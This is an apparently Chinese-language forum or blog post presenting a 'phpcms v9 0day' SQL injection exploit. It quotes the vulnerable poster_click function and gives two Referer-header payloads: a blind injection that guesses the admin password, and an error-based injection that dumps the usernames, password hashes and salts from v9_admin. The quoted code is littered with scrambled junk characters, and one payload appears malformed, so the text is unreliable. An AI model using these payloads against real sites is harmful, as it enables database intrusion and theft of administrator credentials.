phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

0 M* t6 K$ W$ r5 R: Spublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
1 ?; `: \9 W6 j) U4 x: d5 r4 Mif (!is_array($r) && empty($r)) return false;
+ a; K* A/ S4 }& c4 ~+ ~" y" }$ip_area = pc_base::load_sys_class('ip_area');
4 ?$ O) \: J7 ]2 w; M6 o) X9 U( N$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
2 }9 \$ k* a# t/ j$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
- k" z" v! I9 y, p  a" w}
1 M- I6 P  y1 S) ?) \$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
/ X8 M. @& y& V$ R$setting = string2array($r['setting']);
if (count($setting)==1) {
/ R/ e0 j! \7 e- j/ k: Y* h$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
5 f( U% G2 S! \header('Location: '.$url);
3 P7 P4 G  m; H; X. R$ d}
0 }" P8 S) l2 a
3 f; a9 \6 U; o* A
- U5 i* j2 `: h6 _3 o9 W# d
利用方式：

1、可以采用盲注入的手法：
8 H6 b1 a5 E5 Q2 h' K
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
- Z; l4 r! L) O
, B- Z( ~( b" ~; B+ z9 ^! B, z; c# O通过返回页面，正常与否一个个猜解密码字段。
7 D9 t5 j* D$ A* T0 s& J8 F  u; Q
2、代码是花开写的，随手附上了：

: e* A) p0 y$ w2 E1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

/ W  m  b2 ?" b! o' ]. }. r此方法是爆错注入手法，原理自查。
